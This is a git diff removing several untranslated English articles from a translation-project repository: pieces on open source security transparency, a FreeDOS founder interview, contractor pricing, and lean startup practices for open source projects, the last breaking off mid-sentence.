-Transparency is a cornerstone of security assurance because it helps establish trust and confidence in the technology. Indeed, without transparency, trust and security evaporate. Therefore, one of the ways we can help improve security is by enhancing the transparency of our projects. - -Transparency through open source can provide information about a project that allows users to assess its health in at least two ways: - - * **Cross-community environments:** Cross-team and community collaboration are keys to meeting constantly evolving security, privacy, and safety standards. Security is a complex process involving multiple teams across a single organization and multiple organizations (i.e., cross-community), given its open source nature. - * **Public disclosure:** Transparency also enables organizations to quickly build and issue public security reports to identify potential threats and vulnerabilities. - - - -### How to measure transparency to achieve security assurance - -Open source should be in the DNA of every modern organization that wants to achieve a high level of transparency. However, transparency involves more than simply allowing access to code, products, designs, services, or APIs. Transparency is a **commitment to total clarity**. - -Open source has evolved into a complex ecosystem of projects and organizations with different kinds of relationships. [Open source program offices][5] (OSPOs) enable companies, public institutions, governments, and other organizations to keep tabs on the size and health of their open source ecosystems. They take care of not only the projects the organization is using but also the ones it's releasing or contributing to. - -One of the ways to measure transparency across open source ecosystems is by assessing the answers to the following questions about a community's health: - - * **How many maintainers are needed to keep the project sustainable?** The [Bus Factor][6] is a way to determine how many contributors a project can lose before it stalls. The metric (which hypothesizes what would happen if certain contributors got run over by a bus) calculates the smallest number of people who make 50% of contributions and visualizes the answer. - * **Who are the core developers?** The [Onion Model][7] is an approach to identifying the most committed developers and the ones the project relies upon most. - * **What organizations are involved in the software development process?** In addition to analyzing the number of companies whose employees make commits, issues, or code contributions, the [Elephant Factor][8] determines the minimum number of companies doing half of the work. - * **Does the software have security certifications?** Possessing well-known security certifications, such as the [Core Infrastructure Initiative Best Practices Badge][9], indicates that open source projects follow best practices and meet required certification criteria. - * **How active is the community?** There are various ways to assess whether a community is active. One way is to look at the community's reaction speed, including how fast issues are resolved vs. how many are ignored. - - - -Most of these questions are part of the [CHAOSS metrics][10] definition. Community Health Analytics Open Source Software (CHAOSS) is a Linux Foundation project focused on creating a standard set of metrics and software to help define open source community health. Its GrimoireLab tool makes it [easier][11] for projects to analyze and report their community health metrics. - -### Closing thoughts - -Open source software [took over the world][12] a long time ago. The Biden administration's new executive order is another reason to take the open source ecosystem seriously, as both public entities and private companies rely upon it. But open source innovation has a unique methodology that doesn't follow traditional business processes. Using open source involves [investing in OSPOs][13] and measuring transparency by looking at a project's health based on its activity to achieve the required security assurance. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/security-transparency - -作者:[Ana Jimenez Santamaria][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/anajs -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/security-lock-password.jpg?itok=KJMdkKum (Lock) -[2]: https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/ -[3]: https://www.igi-global.com/dictionary/quantitative-security-assurance/70165 -[4]: https://blog.tidelift.com/open-source-is-everywhere-survey-results-part-1 -[5]: https://opensource.com/article/20/5/open-source-program-office -[6]: https://chaoss.community/metric-bus-factor/ -[7]: https://chaoss.github.io/grimoirelab-sigils/common/onion_analysis/ -[8]: https://chaoss.community/metric-elephant-factor/ -[9]: https://chaoss.community/metric-cii-best-practices-badge/ -[10]: https://chaoss.community/metrics/ -[11]: https://opensource.com/article/21/6/health-metrics-cauldron -[12]: https://techcrunch.com/2019/01/12/how-open-source-software-took-over-the-world/ -[13]: https://todogroup.org/guides/create-program/ diff --git a/sources/talk/20210630 How a college student founded a free and open source operating system.md b/sources/talk/20210630 How a college student founded a free and open source operating system.md deleted file mode 100644 index 67d33c7b4a..0000000000 --- a/sources/talk/20210630 How a college student founded a free and open source operating system.md +++ /dev/null @@ -1,150 +0,0 @@ -[#]: subject: (How a college student founded a free and open source operating system) -[#]: via: (https://opensource.com/article/21/6/freedos-founder) -[#]: author: (Joshua Allen Holm https://opensource.com/users/holmja) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How a college student founded a free and open source operating system -====== -An interview with FreeDOS founder Jim Hall. -![Puzzle pieces coming together to form a computer screen][1] - -[Jim Hall][2] is best known as the computer programmer who founded the FreeDOS project. Jim began the project in 1994 as a replacement for MS-DOS while he was still a student at the University of Wisconsin–River Falls. Jim created FreeDOS in response to Microsoft ending support for MS-DOS in 1994. Recently Jim agreed to an email interview. Correspondent Joshua Allen Holm joined me in posing the following questions to Jim. - -**Don Watkins: What kind of skill set invites you to write your own operating system?** - -I think even a beginner can get started writing an operating system like FreeDOS, although it would take a more advanced programmer to write the kernel. - -[I am a self-taught programmer][3]. I learned about programming from an early age by tinkering on our Apple II computer at home. Much later, I learned C programming—my brother was a computer science student when I was a physics student, and he introduced me to C. I picked up the rest by reading books and writing my own programs. - -I wrote a lot of small utilities that enhanced my command line on MS-DOS or even replaced certain DOS commands. And you can write a lot of those programs even with a basic level of programming experience. You can write file utilities like FIND, FC, CHOICE, TYPE, MORE, or COPY—or user commands like ECHO or CLS—with only an introduction to C programming. With a bit of practice, you can write system-level programs like ATTRIB, or the COMMAND shell. - -**DW: Were you inspired by Linus Torvalds when you decided to write your own version of DOS and how did that contribute to your licensing decision?** - -In a way, yes. I really liked DOS and had been using it since the early 1980s. I ran MS-DOS on my personal computer at university. But in 1993, I discovered Linux. - -I really liked the Unix systems in our campus computer lab, where I spent much of my time as an undergraduate university student. When I heard about Linux, a free version of Unix that I could run on my ’386 computer at home, I immediately wanted to try it out. [My first Linux distribution][4] was Softlanding Linux System (SLS) 1.03, with Linux kernel 0.99 alpha patch level 11. That required a whopping 2MB of RAM, or 4MB if you wanted to compile programs, and 8MB to run X windows. - -I dual-booted Linux with MS-DOS. I booted into Linux most of the time, but I still booted back into MS-DOS to write papers in a word processor, to use a spreadsheet program to analyze data for my lab classes or to play my favorite DOS games. - -In 1994, I heard that Microsoft planned to “do away” with MS-DOS. The next version of Windows would eliminate DOS. I didn’t like that, and I still wanted to run DOS. I decided that if folks could come together over the Internet to write something like Linux, surely, we could do the same with DOS. After all, DOS was fairly simple compared to Linux. - -On June 29, 1994, [I announced the “PD-DOS” project][5] to write our own DOS. I called it “PD” because I thought it would be in the public domain. But I quickly learned about the GNU General Public License that the Linux kernel used, and decided that was a much better license. No one could take our source code and create a proprietary version of DOS. We changed the name to “Free-DOS” after another week or so. We later dropped the hyphen to become “FreeDOS.” - -**Joshua Allen Holm: What are the advantages of using FreeDOS over alternative ways of running DOS applications (e.g., DOSBox)?** - -Using DOSBox to run DOS applications in Linux is a great way to run certain DOS applications. But DOSBox is really intended to launch a single DOS program, like a game. The DOS command line is pretty limited in DOSBox. - -In contrast, FreeDOS provides a full DOS command line. We include all of the commands you remember from classic DOS, and added other commands and utilities to do new things. FreeDOS also includes compilers and assemblers so developers can write new programs, utilities, and tools to make your DOS experience more useful, Internet programs to help you get on a network, and even open source games. - -**JAH: Looking back over the years you have worked on FreeDOS, is there anything you would have done differently?** - -There’s only one event that I wish I could take back. I occasionally reach out to companies that sold DOS applications in the 1980s and 1990s and ask them if they will release the source code to their old DOS programs under an open source software license. That’s a great way to contribute to the open source community. - -One popular DOS program was a replacement for the MS-DOS COMMAND shell. 4DOS, by JP Software, was an extremely powerful DOS shell and included many modern features. For example, 4DOS supported built-in aliases, color-coded directory listings, and a “swapping” mechanism that freed up more conventional memory to run programs. - -I contacted JP Software to ask if they would release the source code to 4DOS under an open source software license. JP Software had stopped supporting DOS, and instead focused on a similar replacement for the CMD shell in Windows NT, called 4NT. They were interested in releasing the source code to 4DOS but were concerned that someone might take the 4DOS source code and release a version for Windows. In effect, that would put JP Software in competition with their older product. - -I still didn’t understand the fine points of open source software licenses, and I gave them bad advice. I suggested they might start with an existing open source license and add a term that said you could only run it on DOS. They then released the 4DOS source code under a modified version of the MIT license. - -Unfortunately, limiting where you can run the software violates one of the tenets of open source software and free software. Users should be able to run open source software anywhere, and for any use. An open source license isn’t “open source” if you are limited to running it only on one operating system. - -So despite best intentions, I gave JP Software really bad advice there, and 4DOS isn’t actually open source software. We used to include 4DOS in FreeDOS—but as we are preparing the FreeDOS 1.3 release, we want to be careful to only include open source software. So FreeDOS 1.3 RC4 (“release candidate 4”) does not include 4DOS.  - -**JAH: What are some interesting ways people are using FreeDOS?** - -Over the years, I’ve seen people use FreeDOS to do a lot of really interesting things! - -One of the earliest cool examples was someone who built pinball machines like you used to see in arcades. He embedded a version of FreeDOS to track the score and update the video screen on the back of the machine. I don’t know exactly how he did this, but my guess is every target or bumper on the pinball board probably generated a keyboard event. You can write a DOS application to read the “keyboard” and update the score based on that. - -A few years ago, a user found a video of a train control system in Russia [that ran on a FreeDOS PC][6]. They rebooted the computer, and if you freeze the video at the right point, you can briefly see the FreeDOS kernel starting up. It disappears quickly, but you can see it at 0:07 in the video. - -More recently, I saw someone had managed to boot an original IBM PC 5150 with FreeDOS [from a vinyl record][7], using the 5150’s rarely used cassette tape storage port. It’s really cool to see FreeDOS being used this way. It’s a method that I would never have thought to try, but sometimes you have to do something just for the fun of it. - -**JAH: Why work on DOS in 2021?** - -We still work on DOS in 2021 for a few reasons. I guess the first reason is that DOS is still interesting. We’ve added a lot to FreeDOS over the years. Where the original MS-DOS had a limited set of commands, FreeDOS includes dozens of useful utilities and tools, including editors, compilers, assemblers, games, and other neat programs. - -But it has to be more than just a cool hobby. I find that working on FreeDOS makes for a very interesting programming challenge. In modern systems like Linux, you can take advantage of a lot of memory at once, and you can address it all in one big block. As a result, many programmers will load a lot of libraries and other code to create their projects. This is a very easy way to build a complicated project. You can build a very complex system in a very short time this way. And for many systems, time to market is the most important factor. - -Loading a bunch of libraries and other code blocks is very inefficient, however. You may have the same basic functionality implemented half a dozen ways across the different libraries because each library implements something their own way. So your code grows and requires more memory. - -Maybe that’s not a problem on a desktop PC. I run Linux, and my modern desktop PC has 32GB of memory. Loading a bunch of stuff into memory isn’t a big deal. But on a shared server, where you might have multiple instances of that project running, you’ll quickly run into memory limitations. How many instances can you run at the same time on a server? That 32GB of memory starts to look pretty slim. - -You can’t load all of that into memory on a DOS machine. To remain compatible with the original DOS, FreeDOS has all the limitations of DOS. When MS-DOS was popular, a powerful PC might have had 4MB, 8MB, or even 16MB of extended memory. But the computer only had 640kb of “main” memory, due to how DOS addressed memory. And that’s megabytes and kilobytes, not gigabytes. A kilobyte is a thousand bytes (the basic unit of memory). A megabyte is a thousand kilobytes. And a gigabyte is a thousand megabytes. So today’s computers have memory that is about 1,000,000 more than a DOS computer. - -By programming on a limited system like FreeDOS, you constantly have to think about the tradeoffs. How much memory does my program really need to do its job? Is it faster to read a file into memory to work on it, or process the file one bit at a time? And you’re always keeping in mind what libraries and other code you use in your program. A DOS program can only be so big, so you need to be careful about how you write a DOS program. - -When you write DOS programs all the time, you get really good at optimizing a program. You think about programming in a different way, because you’re always considering how to do something more efficiently. That’s a challenge, but an interesting one. - -**DW: How big is the FreeDOS community?** - -FreeDOS was a very popular project throughout the 1990s and into the early 2000s, but the community isn’t as big these days. But it’s great that we are still an engaged and active group. If you look at the news items on our website, you’ll see we post updates on a fairly regular basis. - -It’s hard to estimate the size of the community. I’d say we have a few dozen members who are very active. And we have a few dozen others who reappear occasionally to post new versions of their programs. I think to maintain an active community that’s still working on an open source DOS from 1994 is a great sign. - -Some members have been with us from the very beginning, and I’m really thankful to count them as friends. We do [video hangouts on a semi-regular basis][8]. It’s great to finally “meet” the folks I’ve only exchanged emails with over the years. - -It's meetings like this when I remember open source is more than just writing code; it's about a community. And while I've always done well with our virtual community that communicates via email, I really appreciated getting to talk to people without the asynchronous delay or artificial filter of email—making that real-time connection means a lot to me. - -**DW: How does someone get involved in the community?** - -I think our community is very welcoming, so anyone is free to join. We communicate via an email list, which you can find on the [FreeDOS website][9]. Join the freedos-user email list if you want to talk about FreeDOS or ask for help. Developers should join the freedos-devel email list; that’s where most of the FreeDOS developers hang out. Our email list volume is pretty low, so you aren’t likely to fill up your inbox by subscribing to either email list. - -A great way to get started is by writing or updating documentation, or by fixing bugs. I think that’s true of pretty much every open source project out there. We always need folks to work on the documentation and fix bugs. But for a project like FreeDOS, I think reading through the documentation is important if you’re new to DOS. A common mistake for newcomers is thinking of FreeDOS as a stripped-down version of Linux, when in fact DOS uses a different memory and execution model. You can learn about that by reading the documentation, which is why I recommend new contributors start there. - -For the more adventurous, we maintain a list of priority projects on our website. If you’d like to contribute to FreeDOS, but aren’t sure what needs work, you might consider tackling one or more of these projects: - - * If you’ve got some programming experience: - * Port FreeDOS utilities to OpenWatcom C and NASM—our preferred C compiler and Assembler for FreeDOS. (Some older FreeDOS programs were probably written for Borland C or Turbo C or Microsoft C, or Microsoft ASM or Turbo ASM) - - * Port GNU utilities to FreeDOS, such as using IA-16 GCC (while IA-16 GCC requires a ’386 or better to compile, programs compiled with IA-16 GCC run on all CPUs) - - * Create a new alternative shell, similar to COMMAND.COM but with expanded BAT programming - - * Add international language support to a FreeDOS program that currently only supports one language. - - * If you’re a highly-skilled DOS developer: - * Write a guest tool like VMSMOUNT for VirtualBox - - * Write a driver for modern sound cards - - * Add some kind of UEFI bootstrap BIOS emulator, perhaps implemented as a CSM - - - - -We like to make it easy for new contributors to get started in FreeDOS, and we welcome everyone who wants to work on FreeDOS. If you still don’t know how to contribute, feel free to ask on the email list. - -You can find FreeDOS at [www.freedos.org][10] -Join FreeDOS on Facebook at [facebook.com/groups/freedos/][11]  -Follow FreeDOS on Twitter at [twitter.com/freedos_project][12] - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/freedos-founder - -作者:[Joshua Allen Holm][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/holmja -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) -[2]: https://opensource.com/users/jim-hall -[3]: https://opensource.com/article/20/8/learn-open-source -[4]: https://opensource.com/article/17/8/linux-anniversary -[5]: https://groups.google.com/g/comp.os.msdos.apps/c/oQmT4ETcSzU/m/O1HR8PE2u-EJ?pli=1 -[6]: https://www.youtube.com/watch?v=eAate0v8hDE -[7]: https://www.youtube.com/watch?v=bqz65_YfcJg -[8]: https://opensource.com/article/20/8/meet-open-source-collaborators -[9]: https://www.freedos.org/ -[10]: http://www.freedos.org/ -[11]: https://www.facebook.com/groups/freedos/ -[12]: http://twitter.com/freedos_project diff --git a/sources/talk/20210704 Pricing Yourself as a Contractor 101.md b/sources/talk/20210704 Pricing Yourself as a Contractor 101.md deleted file mode 100644 index 31c258f304..0000000000 --- a/sources/talk/20210704 Pricing Yourself as a Contractor 101.md +++ /dev/null @@ -1,78 +0,0 @@ -[#]: subject: (Pricing Yourself as a Contractor 101) -[#]: via: (https://theartofmachinery.com/2021/07/04/pricing_as_contractor_101.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Pricing Yourself as a Contractor 101 -====== - -I’ve been self-employed for most of my career. Sometimes I talk to other people who are interested in leaving a full-time job to do some kind of contracting or service business. By far, the most common newbie mistake that we all seem to make is in pricing ourselves. - -Take [this useful blog post that breaks down employee income vs freelancer income in the US][1]. It estimates that you need $140k revenue as a freelancer in the US to have the equivalent of $100k employee compensation. I remember finding calculations like that really useful when I first started a business. However, some people will look at the result and think, “Gee, I have to make 1.4x as much if I’m self employed. Can I really do that?” - -No, no, no. That thinking is backwards. - -### How to price yourself - -Let’s make up an example. Suppose you’re a full-time-employed software engineer grossing that $100k p.a., and you’re thinking of switching to contracting. - -When you’re self-employed, you have to think like a business because that’s literally how you’re making your living. So you have to add up all your costs and figure out how you’re going to recover them. Spreadsheets get a bad rap (for some good reasons), but they’re actually really useful for this stuff (and a lot of other calculations you’ll do as a business owner). - -The first cost to add to the tally is that $100k. If that sounds weird, it’s what’s called “opportunity cost”. You could have made $100k by staying employed; not making that is effectively a cost you have to justify when planning your business. Mark that cost down, along with any other employment benefits you actually use. If your employer offers on-site lunches, add what it costs you to get lunch each workday of the year. If your employer offers employee discounts on its fitness software, but you don’t use that software anyway, don’t add that benefit as an opportunity cost. - -Other costs depend on what you’re doing and where you live. Employee-provided health insurance isn’t as big a thing in Australia as in the US. On the other hand, compulsory superannuation payments (similar to the US 401(k)) are a big deal. I have my own company, and my major non-salary costs are insurance, accounting/filing, legal (for contract reviews, etc.), debt collection and various online service costs. If you’re counting something durable (like a desk) divide the cost by the estimated number of years you expect to use the thing. - -Anyway, so far this is basically what was in Caleb’s blog post, so to keep things simple, I’ll assume the same $100k nominal salary and $140k equivalent business cost. (Scale everything to match your own circumstances, of course.) Now you need to figure out how to recover that cost. There are about 255 Australian working days in a year, so if you could contract them all out, you’d charge $550 a day (plus sales tax). In reality, you won’t be able to bill the entire year. I’ve taken a higher-risk approach and averaged about 60-70% in the past 6 years of my current stint of self employment. [Accenture’s annual financial reports][2] say they get about 90% “utilization” from their contractors, which I assume means they bill 90% of the total workdays. Let’s assume you’re moderate and bill 75% of work days. That means you recover $140k of costs in 75% of 255 days (or 191 days) by billing about $730 a day (plus sales tax). - -### The mistake - -People new to contracting often react to numbers like that and think, “WTF?! That’s huge!” That’s just one example calculation, but it’s normal for service prices to be around double or more what you might naïvely guess from equivalent full-time employee rates. However, that day rate came from a simple calculation of how much you need to charge to get the equivalent of a $100k salary. It’s the same thing. Thinking otherwise is the critical mistake. - -New contractors are often still unsure. Won’t they sound _greedy_ asking for that much? If your clients have any clue, they’re doing pretty much the same calculation. “I could pay Gentle Blog Reader $730 a day for just as long as I want, or I could pay ~$140k for a full-timer who I won’t even really need every day.” A $100k salary isn’t actually $100k from the employer’s point of view, either. Basing prices on nominal base salaries just doesn’t make sense. Even if you’re selling B2C, your cluey competitors won’t be charging less, at least not sustainably. - -### Why it matters - -That specific example was for contracting, but it’s a basic rule of business economics: unless you’re trying some super-risky growth hacking (and we know how [Pets.com][3] turned out), you need to figure out your costs and set your price high enough to cover them. - -Some people still feel uncomfortable with the price they need to set, and they rationalise dropping the price. Perhaps they think something like, “I’m a really nice person, and if I charge only $400 a day my clients will be even happier.” The problem is that you won’t get the same clients. Cluey clients who would pay $100k a year base salary for an employee won’t pay $400 a day for a contractor to do the same job. Instead, in practice, you might get a few good clients who just didn’t have the budget for $730 a day, but you _will_ get a whole bunch of really bad clients. Think about it. If a stranger offered you a fancy-looking diamond ring for $50, would you pay? Or would you rather buy another ring for a normal price? - -Let me stress that I’m just taking the numbers from Caleb’s post and that everything is relative. Use your own numbers instead. In most parts of the world, $400 a day might be a fantastic rate. However, if you’re a senior fintech developer in Silicon Valley, charging $400 a day will just make you a magnet for terrible clients. Most of the good ones will know something isn’t adding up, and they’ll be scared away. - -What do I mean by bad clients? Browse through [the Clients from Hell blog][4] for a bit. It ranges from a lot of basic annoyance like clients who are never satisfied, or who make unreasonable demands, or who waste your time, all the way to clients who are outright abusive, or who get you to do work to spec before arguing they shouldn’t have to pay because “I don’t want it”. Some clients simply don’t pay at all. - -If _you_ don’t value your own product enough, don’t be shocked if you have customers who don’t value it enough, either. - -It gets worse, though. Good clients tend to work with other good clients. If you’re always available when you say you will be, would you work with people who waste your time? If you treat others with respect, would you work with people who are unreasonable and abusive? On average, your good clients will tend to refer you to other good clients. The reverse is true of bad clients, if they’re even grateful enough to refer you to anyone at all. Therefore, if you charge a good price, your business will tend to grow as you build a reputation. If you undercharge, you’ll find yourself in a downward spiral where you’re not only losing money, but finding it harder and harder to get proper pay at all. - -All of this is just a matter of averages, and if you’re lucky you’ll still get good clients even if you undercharge, and if you’re unlucky you’ll still get bad clients even if you charge the right price. However, if your revenue is already weak, each bad client will really hurt. Hoping to beat the averages isn’t a good plan. - -### “But no one pays that much!” - -Suppose you’re an experienced full-time engineer and you decide to try going independent. You’ll probably find that your calculated rate seems high compared to what you see on a freelancing website. That’s because it’s hard to build up a reputation on freelancing websites. Freelancing websites are most useful for casual buyers who primarily want a low price. - -I think a lot of smart engineers assume career networking is hard and requires super high levels of extroversion, so they have to rely on freelancing websites for work. The bad news is that you need to build up a good reputation to get good pay. The good news is that most people can do it as long as they have skills that are in demand. Networking isn’t about going to so-called “networking events” (they’re actually mostly terrible for networking). Networking tips would make a whole new blog post, but the key is to find good clients in their natural habitats, and to do the things that make them keep coming back and maybe even refer you to other good clients. - -In any case, don’t let freelancing websites or anything else set your price below the equivalent of what you could get from a full-time salary. In fact, [you might even get better than your current salary][5], which is why this is “Pricing 101”. Undercharging, however, will kill your self-employment career. - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2021/07/04/pricing_as_contractor_101.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://calebporzio.com/making-100k-as-an-employee-versus-being-self-employed -[2]: https://www.accenture.com/au-en/about/company/annual-report -[3]: https://en.wikipedia.org/wiki/Pets.com -[4]: https://clientsfromhell.net/ -[5]: https://theartofmachinery.com/2018/10/07/payrise_by_switching_jobs.html diff --git a/sources/talk/20210709 Apply lean startup principles to your open source project.md b/sources/talk/20210709 Apply lean startup principles to your open source project.md deleted file mode 100644 index 3294521866..0000000000 --- a/sources/talk/20210709 Apply lean startup principles to your open source project.md +++ /dev/null @@ -1,224 +0,0 @@ -[#]: subject: (Apply lean startup principles to your open source project) -[#]: via: (https://opensource.com/article/21/7/lean-startup-open-source) -[#]: author: (Ip Sam https://opensource.com/users/ipkeisam) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Apply lean startup principles to your open source project -====== -Lean startup principles help you manage your open source project with -efficiency and success. -![Mobile devices are a big part of our daily lives][1] - -There are a lot of benefits to starting an open source project. In general, open source projects benefit from collaboration, adoption, transparency, lower ownership costs, development best practices, more contributors and reviewers, and better quality. - -When you contribute to open source projects, you can build your technical and leadership skills, get good experience for your resume, learn new development tools, understand industry trends, work with top engineers around the world, gain mentorship opportunities, meet people with similar interests, improve your people skills, and more. - -When you develop your own open source project, you are much like the CEO of a startup company, and many startups use lean principles. This article demonstrates how you can apply lean startup principles to develop and advance your open source projects. - -### Come up with a good open source idea - -When brainstorming a good open source idea, consider three domains: industry, inventory, and customers. You want to come up with an idea at the intersection of these domains. For example, I am working on an open source project for the hybrid cloud. Cloud computing is my industry. Inventory could be the set of Ansible playbooks available for the cloud computing industry. The customers could be my OpenShift clients interested in using Ansible playbooks to set up their hybrid cloud infrastructure. These get me to the intersection of the three domains, and this could be a great open source idea. - -![A good open source idea][2] - -(Ip Sam, [CC BY-SA 4.0][3]) - -Once you identify your open source idea, start developing a proof of concept (PoC) prototype project, put it into a Git repository, and create the project's backlog: - - 1. Start a simple PoC prototype. - 2. Push the PoC into a public GitHub repository. - 3. Create your README, LICENSE, CONTRIBUTING, and CODE_OF_CONDUCT files. - 4. Set up high-level epics and stories in Jira. - - - -Next, start working on positioning your open source idea for long-term success. Consider your competitors' offerings, customers' needs, and company capabilities. For example, if I know customers want to do cloud automation in an OpenShift cluster, I understand the customers' needs. My team's capabilities are producing Ansible automation to automate OpenShift cluster installation and upgrades. And I need to make sure no competitors are doing similar work. In my open source project, I use Ansible for automation. Other companies may be using shell scripts or PowerShell scripts. Even though they are developing automation technologies, their offerings do not directly interfere with what my open source project is doing. Therefore, I can get into the sweet spot below. - -![Position your open source idea][4] - -(Ip Sam, [CC BY-SA 4.0][3]) - -### Use lean startup principles - -Managing risks is important for an open source project. At any time, a project can lose funding, people, and resources. Business requirements and scope can change. Release schedules can be delayed or canceled. Timelines can change with a lot of uncertainty. As the CEO of your open source project, you can use lean startup principles to minimize risks and maximize profits for your project. - -The lean startup principles focus on developing the minimal viable project (MVP) that gives you value from production as soon as possible. It also pushes for smaller release cycles and fast iteration. Using validated learning through feedback loops from production, you can validate your open source project and make modifications as product data becomes available. - -In the lean startup cycle, first, you come up with your open source idea. Then you convert your idea into code by doing a simple MVP. In between, you set up the build phase (where you build unit tests to ensure the quality of your code), continuous integration/continuous development (CI/CD) pipelines for automated deployments, the cloud computing infrastructure, the developer sandbox, and other development best practices. These are part of your build phase to enable your developers to code faster. - -You need to measure everything from coding to production data. For example, measure the MVP's usability to make sure end users can use it properly. Use monitoring and alerts so that you know when production issues occur. Static code analysis helps you catch code issues and security vulnerabilities. Finally, use feedback data from product users and stakeholders; it helps you measure faster. - -All of this data enables you to learn about your project. You can learn faster by doing more customer interviews or working with customers during development cycles. You can also learn faster by setting up cross-functional teams with other business departments. As you go through the lean startup cycles again in the second iteration, you should be able to code faster, measure faster, and learn faster than in the first iteration. - -![The lean startup cycle diagram][5] - -(Ip Sam, [CC BY-SA 4.0][3]) - -Lean startup methodologies help you create an idea, formulate hypotheses from your idea, create an MVP, and test the MVP to validate your hypotheses. Then you go through what you learned to fine-tune your hypotheses and start your second iteration. - -![Lean startup methodologies][6] - -(Ip Sam, [CC BY-SA 4.0][3]) - -Lean startup is a combination of customer development and agile development. It supports faster iterative development cycles and incremental product development. - -### Leverage design thinking, lean startup, and agile - -![Lean startup and agile][7] - -(Ip Sam, [CC BY-SA 4.0][3]) - -The figure below shows the three cycles of design thinking, lean startup, and agile. The first part is always design thinking (the green cycle), where you gather requirements to define your idea. Often, these come from product managers. Then you move to the lean startup (blue) cycle, where you come up with prototypes, do some experiments, and go through the learning period. Based on your learning, you can enter the agile (yellow) cycle. These often involve the typical two-week sprints, coming up with stories in your product backlogs, bringing stories from the backlog to sprint planning, doing sprint execution, moving stories to completion, and shipping incremental products to production by doing a deployment. At the end, you have the sprint review, sprint demo, and sprint retrospective. After completing the agile cycle, you go back to the blue cycle to begin the build process, measurement, and the next iteration. - -![Design thinking, lean startup, and agile cycles together][8] - -(Ip Sam, [CC BY-SA 4.0][3]) - -Often, you have multiple MVPs before you get to the final product. Use customer feedback and product data to shape the next MVP version. - -![Lean startup MVPs][9] - -(Ip Sam, [CC BY-SA 4.0][3]) - -The project management triangle helps you maintain product quality. Scope, cost, and time are the corners of the triangle. The shape of the triangle represents product quality. If you reduce your scope and costs, the triangle's shape will change, meaning your quality will decrease. - -![Lean project management][10] - -(Ip Sam, [CC BY-SA 4.0][3]) - -Lean startup principles can help you manage scope, cost, and time. By doing each release with the lean startup principles, you can get to incremental changes, small release cycles, small release feature sets, and feedback loops. For each idea, measure if it works, is making money, and generating business value. If your answer to each is yes, begin the reinvestment process to generate more new ideas. - -![Lean releases][11] - -(Ip Sam, [CC BY-SA 4.0][3]) - -### Recruit contributors and build a team - -Project marketing is an important starting point for recruiting contributors and investors into your open source project. Learn how to sell your project, present it at major conferences and events, and demo your PoC or MVP at local developer meetups. If you work for a large organization, you may be able to turn it into an internal project. - -Different people with different backgrounds, working styles, and cultures will come into your project, and your goal is to develop them into a high-performing team. The team will go through learning curves as it finds how to work together. For example, when you get new team members, your team's current working style may not fit them well, and you might get resistance. When individuals do not want to get out of their comfort zone to learn new skills, you might also get resistance. This might create a chaos situation, where team members disagree about how to do things. The team may split into different camps with different ideas. This brings team performance to the lowest point of the team maturity curve. When you reach the lowest point, listen to team members and work to understand their ideas and why people push back, then transform the different ideas into action items. You can leverage voting systems or use product data to validate the ideas. As conflicts are resolved, the team members will start to work better together and integrate their different ways of working into the overall team culture. This is where your team will reach a new status quo and team maturity. - -![Team maturity graph][12] - -(Ip Sam, [CC BY-SA 4.0][3]) - -The lean team management method can help you achieve team maturity. It leverages four levers of control: believe, boundary, measurement, and interactive. - - * **Believe:** This is your team's set of core values. For example, my team believes in quality as a requirement for each product. Therefore, quality is the team's core value. - * **Boundaries:** These relate to setting rules based on core values. For example, my team believes in quality, and we set rules to require unit and integration tests for each code change before committing it into the Git repository. This becomes a boundary for the team. If somebody checks in code without a test, that person is not following the rule, and it's time for you to educate the team members. - * **Measurement:** This includes key performance indicators (KPIs), targets, and budget. For example, my team's KPIs include measuring story cycle time in the sprint, story release time, defect rates, test coverage rate, and product issues. - * **Interactive:** The interactive process is where you revise the product based on your last cycle. Then you start the next iteration for the next set of core values. - - - -![Lean team management][13] - -(Ip Sam, [CC BY-SA 4.0][3]) - -### Minimize waste - -Eight types of waste—defects, overproduction, waiting, non-utilized talent, transportation, inventory, motion, and extra processing—in your development lifecycle harm team productivity. - - * **Defects:** It is cheaper to fix a defect early in the development lifecycle, so many teams use [test-driven development][14] (TDD) to reduce defects. - * **Overproduction:** If you are doing more than what you are asked to do, you are over-producing. This is tied to scope in stories; the scope should be small so that you do not risk overproduction. - * **Waiting:** Waiting is not efficient and wastes your team's resources. During sprint daily standups, identify stories that are blocked or waiting on external dependencies. As a scrum master, it is your job to help escalate these blocking issues to reduce waiting time. - * **Non-used talent:** Unused talent is always a waste, so ensure everyone on the team has enough work to do. - * **Transportation:** If you are moving projects from one team to another, you introduce more learning curves and ramp-up time. Try to reduce how much projects are transported. - * **Inventory:** Too much inventory that can't be sold is a waste. The inventory takes up space in your storage and consumes management time. - * **Motion:** Excessive unnecessary movements, such as going to meetings in different locations or even commuting, are a waste. Many organizations have a work-from-home 